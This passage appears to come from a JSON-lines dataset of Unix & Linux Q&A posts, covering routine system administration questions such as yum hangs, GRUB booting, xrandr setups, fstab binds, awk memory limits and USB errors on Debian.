created a `/var` partition and I'd like to get rid of it. Is it possible to remove this partition and use the `/` partition to contain `/var` _without_ reinstalling the OS or do I have to repartition my harddrive and reinstall everything? In the latter case is there something I can do to reinstall the already installed updates/programs automatically in the new system or do I have to list everything I add to the system and manually reinstall it? My `/home` is on a separated partition so probably it could be reused by the new installation, even though I care much more for what I installed into `/`. The OS is Kubuntu 12.10."} {"_id": "32509", "title": "Hanging at \"Running Transaction Test\" when trying to install php-soap", "text": "I have here a CentOS 5 and I'm trying to run `yum install php-soap` but the installer hangs on and the last step is `Running Transaction Test`. I found out that NFS shares are the problem. See here or here or here. I tried to unmount everything which came up when entering `cat /etc/mtab | grep nfs`. I also tried to use `umount -a -t nfs`. Then I run the install command. But I can't get this working. `strace yum -y update` show me many lines, but I can't get a sense out of it. Furthermore I tried /bin/rm /var/lib/rpm/__db.* cd /var/cache/yum /bin/rm -rf * yum clean all yum update but still hangs on. Do I have to remove the mounts from the other server to this machine?"} {"_id": "32508", "title": "How can I open a new terminal in the same directory of the last used one from a window manager keybind?", "text": "I'm using a tiling window manager and I switched from `gnome-terminal` with multiple tabs to multiple `urxvt` instances managed by the window manager. One of the features I miss is the ability to open a new terminal that defaults to the working directory of the last one. In short: **I need a way to open a new urxvt (bash) that defaults to $PWD of the last used one.** The only solution that comes to my mind is to save the current path on every `cd` with something like this: echo $PWD > ~/.last_dir and restore the path on the new terminal in this way: cd `cat ~/.last_dir` I can source the second command in `.bashrc` but I don't know how to execute the first one on every directory change :) Any simpler solution that does not involve `screen` or `tmux` usage is welcome."} {"_id": "93272", "title": "Find and differences between -perm /6000 and -perm /u+s", "text": "I have been trying to find setuid executables using a `one liner'. The line I first tried was: find / -perm /u+s -type f Then I found a line which is similar but gives different results: find / -perm /6000 -type f These look identical as far as I can tell, but the first one doesn't show as many results as the second one (mostly ones with weird groups are missing). Why, what is different?"} {"_id": "55709", "title": "busybox ash PS1 not expanding", "text": "I am trying to setup busybox's `ash` on an embedded system to support expanding the `PS1` prompt statement. I have it currently set as PS1='\\u@\\h:\\w\\$ ' However, all that is displayed is literally `\\u@\\h:\\w\\$`. My environment vars are * `HOSTNAME=linux` * `USER=root` * and my pwd is `/` So what should be displayed is `root@linux:/$`. Is there something special I need to do to get the `PS1` to expand correctly? * * * One thing I noticed is my `SHELL` variable is `/bin/sh` even though in my `/etc/inittab` I have the following line ttyO0::respawn:-/bin/bash I imagine this is the case because `sh` and `bash` are both aliased to `ash` in the busybox config. However, I have the following options enabled though: * `bash-compatible extensions` * `Expand prompt string`"} {"_id": "93270", "title": "need some advice in setting up my first server", "text": "**Questions** 1. Should a GUI be installed on a server? 2. Are solid state drives a good option for Virtualizations? How can I use SSD for virtualization? _conditional information:_ I apreciate advice that follows the standards for working and administrating linux. This is a private project, so theres no boss or special laws we have to consider. **Should a GUI be installed on a server?** Now i thought about taking Debian as root system, since it is the one i worked most. Would you guys send me to hell for installing a GUI.. you know.. for keeping things easy? Or lets say if i can't handle the terminal ninja moves, it might be a plan B to have the GUI. (for example configuring a virtual maschine (Virtualbox)). _Is there some way to install a GUI but only execute it when necessary? Would this be reccommended?_ **Are solid state drives a good option for Virtualizations? How can I use SSD for virtualization?** I have 1 SSD's and servals HHD, so my thought was to use the SSD for the \"Virtual Maschine Drives\" to get the most possible efficency. **Can you evaluate how my hardware will preform from the perspective of acting as a virtualization-server?** Here is the list of the components Coolermaster, Cooler Master HAF XB RC-902XB-KWN1 Midi-Tower - schwarz http://www.mylemon.at/artikel/coolermaster/rc_902xb_kwn1/geh-haf-xb-cube- rc.html AMD, AMD FX-8120 3100 AM3+ BOX http://www.mylemon.at/artikel/amd/fd8120frgubox/fx-8120-prozessor-eight- core.html MSI, 760GA-P43 (FX) AM3+ AMD760 ATX http://www.mylemon.at/artikel/msi/7699_010r/mb-760ga-p43-fx-760.html Geil, GeIL Dragon RAM Series DDR3-1600, CL11 - 16 GB Kit http://www.mylemon.at/artikel/geil/gd316gb1600c11dc/d316gb-1600-11-dragonram-k2.html Noctua, Noctua NH-U9B SE2 CPU-K\u00fchler - 2x92mm http://www.mylemon.at/artikel/noctua/nh_u9b_se2/kue-combo-nh-u9b-se2.html Aerocool, Aerocool GT Series Netzteil, 80Plus Bronze - 500 Watt http://www.mylemon.at/artikel/aerocool/en53976/gt-500-500w-atx.html SNT, Wechselrahmen 3-in-2 SATA/SAS black OEM http://www.mylemon.at/artikel/snt/jj_2131_sata/wechselrahmen-3-in-2-sata.html"} {"_id": "3629", "title": "Arch Linux fails to boot from a USB key (cannot mount selected partition)", "text": "I tried to install Arch Linux to an USB key. Things are kind of wobbly (it assumes the system has exactly one drive inside, for example) but everything installed just fine. Until I rebooted. Booting 'Arch Linux' root (hd1,1) Filesystem type unknown, partition type 0x7 kernel /boot/vmlinuz26 root=/dev/dsb2 ro Error 17: Cannot mount selected partition (`/dev/dsb1`/`(hd1,0)` is a small FAT partition for data storing purposes -- for those locked down lab computers.) Here's the 'Arch Linux' command sequence: root (hd1,1) kernel /boot/vmlinuz26 root=/dev/dsb2 ro initrd /boot/kernel26.img At the grub console: grub> root (hd1,1) Filesystem type unknown, partition type 0x7 grub> cat /etc/passwd Error 17: Cannot mount selected partition grub> root (hd0,1) # my ubuntu partition Filesystem type is ext2fs, partition type 0x73 grub> cat /etc/passwd root:x:0:0:root:/root:/bin/bash I could successfully reboot in my host OS, Ubuntu, and used the Disk Tool to confirm partitioning was successful. Also, running `sudo kvm /dev/dsb` resulted in a successful Arch boot once I edited the commands to boot from `root (hd0,1)` (that is, until Arch tried to mount `/dev/dsb2`). What did I do wrong? Edit 1 From Ubuntu, `fdisk -l /dev/sdb` gives: Disk /dev/sdb: 1998 MB, 1998585856 bytes 62 heads, 62 sectors/track, 1015 cylinders Units = cylinders of 3844 * 512 = 1968128 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sdb1 1 65 124899 b W95 FAT32 /dev/sdb2 * 66 1015 1825900 83 Linux I have now read the related wiki section but nothing seems to apply: I didn't use GParted or logical drives; everything is on the same partition."} {"_id": "3628", "title": "Fullscreen game messes with my xrandr dual-monitor setup", "text": "I have Gentoo Linux, the Awesome window manager and an open-source ATI driver. Here's my xorg.conf: Section \"Files\" #ModulePath \"/usr/lib64/xorg/modules\" FontPath \"/usr/share/fonts/misc/\" FontPath \"/usr/share/fonts/TTF/\" FontPath \"/usr/share/fonts/OTF\" FontPath \"/usr/share/fonts/Type1/\" FontPath \"/usr/share/fonts/100dpi/\" FontPath \"/usr/share/fonts/75dpi/\" FontPath \"/usr/share/fonts/terminus\" EndSection Section \"ServerLayout\" Identifier \"My X Server\" Screen 0 \"Screen0\" 0 0 EndSection Section \"Monitor\" #DisplaySize 510 290 # mm Identifier \"LeftMonitor\" VendorName \"DEL\" ModelName \"DELL U2311H\" HorizSync 30.0 - 83.0 VertRefresh 56.0 - 76.0 Option \"DPMS\" Option \"PreferredMode\" \"1920x1080\" EndSection Section \"Monitor\" #DisplaySize 380 300 # mm Identifier \"RightMonitor\" VendorName \"SAM\" ModelName \"SyncMaster\" HorizSync 30.0 - 81.0 VertRefresh 56.0 - 75.0 Option \"DPMS\" Option \"PreferredMode\" \"1280x1024\" EndSection Section \"Device\" Identifier \"Card0\" Driver \"radeon\" VendorName \"ATI Technologies Inc\" BoardName \"Mobilitiy Radeon HD 3600 Series\" BusID \"PCI:4:0:0\" #Option \"AccelMethod\" \"EXA\" Option \"monitor-HDMI-0\" \"RightMonitor\" Option \"monitor-DVI-0\" \"LeftMonitor\" EndSection Section \"Screen\" Identifier \"Screen0\" Device \"Card0\" Monitor \"LeftMonitor\" DefaultDepth 24 SubSection \"Display\" Depth 24 Modes \"1920x1080\" \"1280x1024\" Virtual 3200 1080 EndSubSection EndSection And to enable the monitor on the right side I do `xrandr --output HDMI-0 --mode 1280x1024 --right-of DVI-0` at system launch. Good thing, it works. **Bad** thing, Altitude game breaks it. The main (left) monitor loses signal and I can't re-enable it ( while the game itself runs happily on the right screen, in fullscreen mode). No problems in windowed mode (1024x768), as well as with all other applications (fullscreen flash, VLC, etc), but when I try to change in-game resolution to 1280x1024, it breaks the same way as with fullscreen. Any ideas? **Edit:** It breaks when I close the game as well. Argh! **Edit2:** Probably related to this bug. **Edit3:** Investigating this strange behavior with the guys from Nimbly Games (creators of Altitude). They actually fixed the problem at game exit, so I can at least play in windowed mode now. As for fullscreen mode, I think it's a problem somewhere in xrandr, or unstable open-source radeon R600 drivers, so that Awesome (window manager) actually restarts when Altitude goes to fullscreen mode/tries to change resolution."} {"_id": "98036", "title": "Shell script to send a mail once every 20 days", "text": "Need a shell script to be called via cron job every day and see if it's 20th day,it should send a mail"} {"_id": "3623", "title": "installing grub 2 on mdadm, which device?", "text": "when installing grub(2) to mdadm devices are you supposed to install it to `/dev/sdX` or `/dev/mdX`?"} {"_id": "98025", "title": "Yum update shows \"Killed\"", "text": "When I update my RHEL with `yum update` commend, it list all update packages, and after I hit Y for yes, got following response. Running rpm_check_debug Running Transaction Test Transaction Test Succeeded Running Transaction Warning: RPMDB altered outside of yum. Killed Please help me to update my server."} {"_id": "74978", "title": "How to copy datasets from prior version directory to latest version directory", "text": "I've go a number of directories named like: /data/db/OX/8_10 /data/db/OX/9_1 /data/db/OX/9_2 And need to copy some files (all the `pt.*` files) from the second latest one (above `9_1`) to the latest one (above `9_2`). I have tried directly like this. cp -p /data/db/OX/9_1/pt.* /data/db/OX/9_2 However, Instead of typing /data/db/OX/9_1/ & /data/db/OX/9_2. I'd like to be able to write: cp -p /data/db/OS/\"$prior_version\"/pt.* /data/db/OS/\"$latest_version\"/ And derive `$prior_version` and `$latest_version` from the list of directories in `/data/db/OX/` in a shell script."} {"_id": "75365", "title": "Does fail2ban offer any additional protection to SSH if password login is already turned off?", "text": "I\u2019m setting up a Debian VPS on Linode to use as a public web server, and I\u2019m following their security suggestions. The last suggestion they make is to install fail2ban, to avoid dictionary attacks on the server. They mention that by default it only monitors SSH login attempts. However, in a previous step, they suggested turning off SSH password login (which I did). Given that I\u2019ve done this, does using fail2ban for SSH connections add any security?"} {"_id": "75366", "title": "sort part of a file", "text": "How can I sort the file by the second column from the terminal. The content of the file is: Nome Note ------------ Mehdi 0 Sunday 20 Others 10 Shnou 5 Using `sort -t' ' -nk2` is not giving me the right result. Also how can I ensure that the content of the file stay sorted?"} {"_id": "110336", "title": "fstab bind inconsistency - Is a link a better option?", "text": "When binding two folders together as configured in `/etc/fstab`; #folder-with-old-data new-empty-folder fs option flags /home/user1/Mydata/Pictures /home/user1/Pictures none bind 0 0 The \"old\" folder `Pictures` with existing data is located in a partition mounted in `Mydata`. I wish for the folders and files within it to appear as folders and files in the \"new\" standard location of `/home/user1/Pictures` In doing this I want the existing data in the old folder to be accessible in the standard `/home/user1/Pictures` location. When the folders are bound, all seems in order, **except** that when a new file is created in `/home/user1/Pictures` **it does not appear** in the bind (bound) `/home/user1/Mydata/Pictures` folder! Also, if the two folders are then un-bound with `umount`, the previously newly created file in `/home/user1/Picture` folder **is lost in both folders!** The reverse, that is files created in `/home/user1/Mydata/Pictures` create duplicates in `/home/user1/Pictures` which are retained in both locations after `umount`.... as expected. If the two folders are rebound the new file previously created in `/home/user1/Pictures` is visible again. Q1. `bind` is too mature for this to be a bug, so what am I doing wrong? Q2. Would it be more elegant to use `ln -s`. I presume I then have the issue of modifying `/etc/init.d/rc2.d` to include a start up script which is less visible when it comes time to update, or rearrange drives etc. System: Kubuntu 13.10"} {"_id": "139166", "title": "Receiving emails over IMAP and parsing with a script with minimal delay", "text": "I have a Perl script that uses `NET::IMAPClient` and `MIME::Parser` which simply reads new emails from an IMAP server and saves any attachments to disk. My question is: what is the best way to run this script as soon as there's new email? I can use cron to periodically run the script, I could check every few seconds even, but I suspect there is a better way. Ideally I would act upon the receiving of an email immediately, like a system event. What are common software and techniques to achieve this? I'm using a Debian system."} {"_id": "109271", "title": "Debian Wheezy LXDE: Desktop icons are disappearing, how to restore them?", "text": "This happens from time to time - I will minimize a window to find out that the Desktop icons have disappeared, and when right-clicking on the Desktop, the Openbox menu is shown. I suspect this is because PCManFM (which manages the Desktop) has crashed. When this happens, is there a way to restore the Desktop icons, short of logging out and logging back in?"} {"_id": "110339", "title": "AWK command failing for large file", "text": "I have a `.csv` file of 6.5 GB. I need to sort the files with 1st, 2nd, 3rd, 4th, 5th and 13th column and need to get the unique records. Also I need to get the duplicate records and redirect it to some other file. I am using the following command to get the unique lines: awk -F',' 'a[$1,$2,$3,$4,$5,$13]++' /var/tmp/Data.txt > unique.txt But the above process is consuming more than 3.5 GB memory and eventually gets terminated. Producing the following error in the log file: sh: line 1: 7895 Killed awk -F',' 'a[$1,$2,$3,$4,$5,$13]++' /var/tmp/Data.txt > unique.txt How can I produce the required output?"} {"_id": "104427", "title": "Awesome WM tiles KDE networking and battery widget", "text": "I currently use KDE with Awesome WM. I got the KDE bar at the bottom hidden, but I can un-hide with with the cursor when I need to use the Plasma Network Manager. With KWin, they would appear like little drawers from the bottom and where quite usable. With Awesome WM, these get tiled as well, making them pretty hard to use: ![](http://chaos.stw-bonn.de/users/mu/uploads/2013-12-09/screenshot4.png) Is there some way to fix this? I tried setting `floating = true` for the class `plasma-desktop`, but that did not change anything. This is what I got with `sleep 10 && xprop` and clicking on the networking widget when it was extended: WM_STATE(WM_STATE): window state: Normal icon window: 0x0 _NET_WM_SYNC_REQUEST_COUNTER(CARDINAL) = 31457739 _NET_WM_USER_TIME(CARDINAL) = 14075167 _NET_STARTUP_ID(UTF8_STRING) = \"0\" _NET_WM_DESKTOP(CARDINAL) = 4294967295 _KDE_SHADOW_OVERRIDE(_KDE_SHADOW_OVERRIDE) = 0x1 _KDE_NET_WM_SHADOW(CARDINAL) = 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0 _NET_WM_STATE(ATOM) = _NET_WM_STATE_STICKY, _NET_WM_STATE_SKIP_TASKBAR, _NET_WM_STATE_ABOVE XdndAware(ATOM) = BITMAP _MOTIF_DRAG_RECEIVER_INFO(_MOTIF_DRAG_RECEIVER_INFO) = 0x6c, 0x0, 0x5, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0 WM_CLIENT_LEADER(WINDOW): window id # 0x1e00004 _NET_WM_PID(CARDINAL) = 2404 _NET_WM_WINDOW_TYPE(ATOM) = _KDE_NET_WM_WINDOW_TYPE_OVERRIDE, _NET_WM_WINDOW_TYPE_NORMAL _MOTIF_WM_HINTS(_MOTIF_WM_HINTS) = 0x2, 0x3, 0x0, 0x0, 0x0 WM_PROTOCOLS(ATOM): protocols WM_DELETE_WINDOW, WM_TAKE_FOCUS, _NET_WM_PING, _NET_WM_SYNC_REQUEST WM_NAME(STRING) = \"plasma-desktop\" WM_LOCALE_NAME(STRING) = \"de_DE.UTF-8\" WM_CLASS(STRING) = \"plasma-desktop\", \"Plasma-desktop\" WM_HINTS(WM_HINTS): Client accepts input or input focus: True Initial state is Normal State. window id # of group leader: 0x1e00004 WM_NORMAL_HINTS(WM_SIZE_HINTS): user specified location: 1367, 20 program specified location: 1367, 20 user specified size: 838 by 1029 program specified size: 838 by 1029 program specified minimum size: 316 by 308 program specified maximum size: 1680 by 1050 window gravity: Static WM_CLIENT_MACHINE(STRING) = \"Martin-X220\" WM_COMMAND(STRING) = { \"/usr/bin/plasma-desktop\" }"} {"_id": "104426", "title": "Display content of all currently detached screen", "text": "I have a few detached screens running. Now I\u2019d like to see their current state for each of them. Currenlty, I do $ screen -r # look at the cryptic numbers $ screen -r # look at output D $ screen -r # look at the cryptic numbers to find the next one $ screen -r # look at output D $ screen -r # look at the cryptic numbers to find the next one # and so on $ screen -r # look at output Is there a single command that lets me do that?"} {"_id": "57700", "title": "Reset background to transparent with tmux?", "text": "I recently set up tmux-powerline and noticed that the background color on the status-left, if changed, refuses to go back to default and transparent (if transparency is enabled). ![tmux-powerline broken](http://i.stack.imgur.com/6HhDD.png) I was able to fix the status-right (because it's before the background is changed), but it seems impossible to clear/erase the background after it's set for a section. I'd love to be wrong about this, though, and was wondering if anyone knows of a solution? `set -g status-left='#[bg=colour89]ANYTHING CAN GO HERE[#bg=default] AND HERE TOO!'` I'd expect to have the background cleared out (bg=default at the beginning would have it stay transparent, and works for status-right), but I get a dark grey instead. TERM = screen-256"} {"_id": "2976", "title": "Different ways to execute a shell script", "text": "There a several ways to execute a script, the ones I know are: /path/to/script # using the path (absolute or relative) . script # using the . (dot) source script # using the `source` command Are the more of this? What are the differences between them? Are there situations that I must use one and not another?"} {"_id": "63765", "title": "What does sourcing a file mean in a shell?", "text": "> **Possible Duplicate:** > Different ways to execute a shell script What happens when I issue the following command: source devenv.csh How does it differ from running it just as `devenv.csh` ?"} {"_id": "57704", "title": "Installing yum packages by pattern", "text": "I want to install all openoffice packages. Passing openoffice* obviously wouldn't work, because it'd look at file system. How can I do that?"} {"_id": "57705", "title": "Modeless vs modal editors", "text": "I just started learning Linux and all my previous experience of programming has been using the Windows platform. I came across Vim editor and read that it is modal editor unlike notepad which is termed as a modeless editor. Can you please explain what is the difference between modeless and modal editors in general?"} {"_id": "114650", "title": "Update MOTD at ssh login on Debian", "text": "What's the most clean way to display a different quote from a file (line- seperated) as MOTD on every SSH login on Debian? In other words, how can I trigger a MOTD update on SSH login?"} {"_id": "109272", "title": "Dualboot Freebsd + Gentoo with GRUB2 [MBR]", "text": "I have Gentoo x64 installed with Grub2 on my MBR drive. Today I installed FreeBSD x64 9.2. Now I'm in Gentoo and trying to add FreeBSD to `grub2` menu list. grub2-install /dev/sda os-prober grub2-mkconfig -o /boot/grub2/grub.cfg I did the above on Gentoo and it didn't find FreeBSD. The FreeBSD nested partition is on `sda1` and contains `freebsd-ufs` and `freebsd-swap` partitions. How could I add FreeBSD to `grub2`?"} {"_id": "148587", "title": "RPM \"ghost\" directive equivalent in debian packaging?", "text": "So I have worked with RPM (Redhat package manager) and it has a feature called ghost files. This type of file designates a file that is owned by the package, but is not necessarily installed through the installation process (useful for files that the program generates after it runs). More about the ghost directive in RPM can be found at the link below http://www.rpm.org/max-rpm-snapshot/s1-rpm-inside-files-list-directives.html So far the only way I have found to approximate the ghost behaviour in .deb packages is to touch the desired file and specify it as a config file in the debian/conffiles file. That way it is owned by the package but will not be updated every time a new version is installed. What I am wondering is if there is a more official equivalent to this behaviour in the debian package manager, mainly looking at Ubuntu. I am using `debuild` to build the packages. Any help or suggestions would be greatly appreciated. **Additional info:** What I need to accomplish is to allow the package manager to know what files may be created by the program when it runs. These files should not be updated when a new version is installed and should not be deleted when the package is removed. The files should only be removed during a purge of the package."} {"_id": "134238", "title": "How to get permission for editing fstab file in debian", "text": "I wanted to change my fstab file to be able to solve \"Error mounting\" (I tried to delete the last line of fstab file) # /etc/fstab: static file system information. # # Use 'blkid' to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # # / was on /dev/sda5 during installation UUID=8a97edce-fb5d-4dfb-8843-1d6a8f40c8ed / ext4 errors=remount-ro 0 1 # /home was on /dev/sda7 during installation UUID=20c4aa72-06e1-47eb-acae-2ca0a53ebc93 /home ext4 defaults 0 2 # swap was on /dev/sda6 during installation UUID=638f2aee-806c-4845-bb1b-3bff47728184 none swap sw 0 0 /dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0 #/dev/sdb1 /media/usb0 auto rw,user,noauto 0 0 But now I need \"permissions to save the file.\" How to do it?"} {"_id": "96172", "title": "Ubuntu warning. W: Duplicate sources.list entry", "text": "After installing Oracle VirtualBox, when I do `sudo apt-get update`, I get the following warning W: Duplicate sources.list entry http://download.virtualbox.org/virtualbox/debian/ raring/contrib i386 Packages (/var/lib/apt/lists/download.virtualbox.org_virtualbox_debian_dists_raring_contrib_binary-i386_Packages) How can I fix it?"} {"_id": "96173", "title": "Check if debian/control Build-Depends: requirements are satisfiable when backporting packages", "text": "Debian/Ubuntu question here. I routinely backport packages from more recent Ubuntu distros to older ones (LTS). I download (via dget) a Debian source, then cd into it and type `debuild -b`. It then says something like `dpkg-checkbuilddeps: Unmet build dependencies: dh-autoreconf gnome-pkg-tools (>= 0.7) yelp-tools gtk-doc-tools (>= 1.12) pkg-config libglib2.0-dev (>= 2.29.14) libgstreamer1.0-dev (>= 0.11.92) libgstreamer-plugins-base1.0-dev (>= 0.11.92) libxml2-dev (>= 2.6.0) libsm-dev libice-dev libgtk-3-dev (>= 3.0.0) libcanberra-dev (>= 0.1) libcanberra-gtk3-dev (>= 0.1) libnautilus-extension- dev (>= 2.91.90) libburn-dev (>= 0.4.0) libisofs-dev (>= 0.6.4) libtotem- plparser-dev (>= 2.32) libunique-dev (>= 1.0.0) libnotify-dev (>= 0.6.1) gobject-introspection (>= 0.6.3) libgirepository1.0-dev (>= 0.6.3) libappindicator3-dev (>= 0.0.7) libunity-dev (>= 5.0.0)` `apt-get build-dep` helps upto a certain point (but downloads dependencies for the _current_ package, not for the one I'm backporting). I could manually install all the listed dependencies and retry the `debuild` to see if `dpkg- checkbuilddeps` succeeds, but this is costly in time (and disk space). I guess I really I need a tool (or a script) that could check if the `Build- Depends:` requirements from `debian/control` are satisfiable with the current repositories (or if not which further packages I need to backport). Is there an easy way to achieve this?"} {"_id": "96171", "title": "Is there a update manager whitout gnome dependencies for xfce?", "text": "I'm looking a update manager for Debian Xfce. I installed xfce on a computer which will be use by laypersons. Therefore, I want another way (graphical) to launch `apt-get update && apt-get upgrade`. But I don't want to slow the system by adding gnome dependencies (update-manager-gnome is then not a solution). The solution using `cron` configured to launch commands such as `'apt-get update; apt-get upgrade -y --force-yes; apt-get dist-upgrade -y --force-yes;'` seems to me too dangerous. I would like to offer a choice by graphical way."} {"_id": "96177", "title": "Debian Wheezy USB2 ehci_hcd", "text": "I have a friend who decided to switch to Linux from Windows. I was helping her to get up and running as quickly as possible but we ran into a problem which I can't seem to solve. She uses Debian Wheezy, installed from the latest XFCE install CD image (`dd`'ed onto a pendrive). Everything went fine and her system works almost completely. The only problem she has that some of her pendrives aren't working. They can be `mounted` (both by root and by xfce's automount) but reading from the drive gave timeouts, `dmesg` showed that `ehci_hcd` kept resetting usb2 devices. As a fix I `rmmod`ed the `ehci_hcd` kernel module and the the devices started to work, but they were way too slow. As another possible solution I upgraded the box's kernel to that which is in `wheezy-backports` which is 3.10, but the problem still persists. I have checked through her `BIOS` settings but they apper to be in order too. The drives work under my laptop, and the usb ports have worked under the previous OS, so it's not a hardware issue. I have ran out of ideas what else I could do to fix her box. Here's `dmesg`'s output of the current error: [ 3694.256023] usb 7-2: new high-speed USB device number 5 using ehci-pci [ 3694.388813] usb 7-2: New USB device found, idVendor=1e3d, idProduct=2095 [ 3694.388818] usb 7-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 3694.388821] usb 7-2: Product: Flash Disk [ 3694.388823] usb 7-2: Manufacturer: Generic [ 3694.388825] usb 7-2: SerialNumber: CCBB0201160720281014278106 [ 3694.389132] usb-storage 7-2:1.0: USB Mass Storage device detected [ 3694.389234] scsi9 : usb-storage 7-2:1.0 [ 3695.388487] scsi 9:0:0:0: Direct-Access Generic Flash Disk 5.00 PQ: 0 ANSI: 2 [ 3695.388770] sd 9:0:0:0: Attached scsi generic sg3 type 0 [ 3695.389346] sd 9:0:0:0: [sdb] 3911680 512-byte logical blocks: (2.00 GB/1.86 GiB) [ 3695.389970] sd 9:0:0:0: [sdb] Write Protect is off [ 3695.389973] sd 9:0:0:0: [sdb] Mode Sense: 0b 00 00 08 [ 3695.390591] sd 9:0:0:0: [sdb] No Caching mode page present [ 3695.390595] sd 9:0:0:0: [sdb] Assuming drive cache: write through [ 3695.394223] sd 9:0:0:0: [sdb] No Caching mode page present [ 3695.394228] sd 9:0:0:0: [sdb] Assuming drive cache: write through [ 3695.395392] sdb: sdb1 [ 3695.401344] sd 9:0:0:0: [sdb] No Caching mode page present [ 3695.401350] sd 9:0:0:0: [sdb] Assuming drive cache: write through [ 3695.401354] sd 9:0:0:0: [sdb] Attached SCSI removable disk [ 3710.357646] FAT-fs (sdb1): utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive! [ 3710.380122] FAT-fs (sdb1): Volume was not properly unmounted. Some data may be corrupt. Please run fsck. [ 3741.008027] usb 7-2: reset high-speed USB device number 5 using ehci-pci [ 3751.252026] usb 7-2: reset high-speed USB device number 5 using ehci-pci [ 3767.496024] usb 7-2: reset high-speed USB device number 5 using ehci-pci [ 3767.744027] usb 7-2: reset high-speed USB device number 5 using ehci-pci [ 3777.988055] usb 7-2: reset high-speed USB device number 5 using ehci-pci [ 3778.120554] sd 9:0:0:0: Device offlined - not ready after error recovery [ 3778.120586] sd 9:0:0:0: [sdb] Unhandled error code [ 3778.120589] sd 9:0:0:0: [sdb] [ 3778.120591] Result: hostbyte=DID_ABORT driverbyte=DRIVER_OK [ 3778.120593] sd 9:0:0:0: [sdb] CDB: [ 3778.120595] Read(10): 28 00 00 00 00 42 00 00 ce 00 [ 3778.120602] end_request: I/O error, dev sdb, sector 66 [ 3778.120619] sd 9:0:0:0: rejecting I/O to offline device [ 3778.120688] sd 9:0:0:0: rejecting I/O to offline device [ 3778.120690] sd 9:0:0:0: killing request [ 3778.120724] sd 9:0:0:0: rejecting I/O to offline device [ 3778.120740] FAT-fs (sdb1): FAT read failed (blocknr 34) [ 3778.124088] sd 9:0:0:0: rejecting I/O to offline device [ 3778.124269] sd 9:0:0:0: rejecting I/O to offline device [ 3778.124282] sd 9:0:0:0: rejecting I/O to offline device [ 3778.124292] sd 9:0:0:0: rejecting I/O to offline device [ 3778.124302] sd 9:0:0:0: rejecting I/O to offline device [ 3778.124311] sd 9:0:0:0: rejecting I/O to offline device [ 3778.124366] sd 9:0:0:0: rejecting I/O to offline device [ 3778.124377] sd 9:0:0:0: rejecting I/O to offline device ... This repeats a lot of times, then ... [ 3778.126304] sd 9:0:0:0: rejecting I/O to offline device [ 3778.126314] sd 9:0:0:0: rejecting I/O to offline device [ 3778.126323] sd 9:0:0:0: rejecting I/O to offline device [ 3778.126408] sd 9:0:0:0: rejecting I/O to offline device [ 3778.126415] FAT-fs (sdb1): FAT read failed (blocknr 34)"} {"_id": "96174", "title": "Use the raspberry pi as a source of entropy for /dev/random", "text": "I'm trying to see if I can use my raspberry pi's hardware RNG as a source of entropy for `/dev/random`. Mostly to see if I can get it to work and find yet another use for this nifty little device. Of course I don't really need to increase the entropy for my laptop. A useful application however might be to use it as a source of entropy for servers with VM where entropy creation can be a problem. However it is mostly a hobby project to see if I can get it to work and give something back to the open source community. What I would like to do is to setup my pi on the (local) network and use ssh to get the randomness transferred to the pool of the server, in this case my laptop. I think I should have no problem to just use a bash script that reads `/dev/random` from the pi. But how do I connect the `/dev/random` of the pi to the `/dev/random` of my laptop. Is there an interface to add a random number generator. I hope my proposed setup is clear. I hope I can get some comments on this, any feedback is welcome."} {"_id": "106370", "title": "yum update failing each time", "text": "I have been trying to update my Fedora 19 system, but each time it fails with some error. I tried doing a `yum clean all` but to no avail. The last time i got this set of errors, Total 63 kB/s | 726 MB 03:15:53 Running transaction check Running transaction test Transaction check error: file /etc/php-zts.d/zip.ini from install of php-common-5.5.7-1.fc19.x86_64 conflicts with file from package php-pecl-zip-1.12.1-2.fc19.remi.1.x86_64 file /etc/php.d/zip.ini from install of php-common-5.5.7-1.fc19.x86_64 conflicts with file from package php-pecl-zip-1.12.1-2.fc19.remi.1.x86_64 file /usr/lib64/php-zts/modules/zip.so from install of php-common-5.5.7-1.fc19.x86_64 conflicts with file from package php-pecl-zip-1.12.1-2.fc19.remi.1.x86_64 file /usr/lib64/php/modules/zip.so from install of php-common-5.5.7-1.fc19.x86_64 conflicts with file from package php-pecl-zip-1.12.1-2.fc19.remi.1.x86_64 file /usr/share/doc/HTML/de/k3guitune/index.cache.bz2 from install of k3guitune-1.01-10.fc19.x86_64 conflicts with file from package k3guitune-1.01-9.fc18.i686 file /usr/share/doc/HTML/en/k3guitune/index.cache.bz2 from install of k3guitune-1.01-10.fc19.x86_64 conflicts with file from package k3guitune-1.01-9.fc18.i686 file /usr/share/doc/HTML/nl/k3guitune/index.cache.bz2 from install of k3guitune-1.01-10.fc19.x86_64 conflicts with file from package k3guitune-1.01-9.fc18.i686 file /usr/share/applications/k3guitune.desktop from install of k3guitune-1.01-10.fc19.x86_64 conflicts with file from package k3guitune-1.01-9.fc18.i686 Error Summary ------------- Please help.."} {"_id": "116651", "title": "how I can generate mac address increamental like 00:00:00:00:01 00:00:00:00:02", "text": "how I can generate mac address incremental like 00:00:00:00:01 00:00:00:00:02"} {"_id": "52068", "title": "Crunchbang does not see existing Ubuntu installation", "text": "I recently installed Crunchbang 11 in the free space of a hard disk of an Asus netbook that already had Ubuntu installed on it. I partitioned the 2 distros separately, with only a common swap space. At the end of the installation, Crunchbang informed me that \"it seems Crunchbang is the only OS on this system\", and then asked me whether I would like to install GRUB. I said no and then it asked me again to choose a partition to install. I chose the \"first on your hard disk\" (which is supposed to belong to Ubuntu, anyway). All cool, but needless to say Grub has no entry for Ubuntu during boot, and so Crunchbang is the only OS I can boot. Is there a way (including reinstallation with proper options) that I could get Ubuntu as a GRUB option? Some way to add an entry to `grub.cfg` perhaps?"} {"_id": "52069", "title": "Connect to a VPN from a Linux Virtual Machine", "text": "I am running an Ubuntu distro inside a VMWare virtual machine with a bridged connection on a Windows 7 host. What I am trying to do is to have the virtual machine connect to a VPN, but I'm not having much success. At first, the system was using wicd, but I replaced it with network-manager who's supposed to have OpenVPN support. The problem is, even thogh I have purged the wicd installation, there are connections shown in the network manager, and 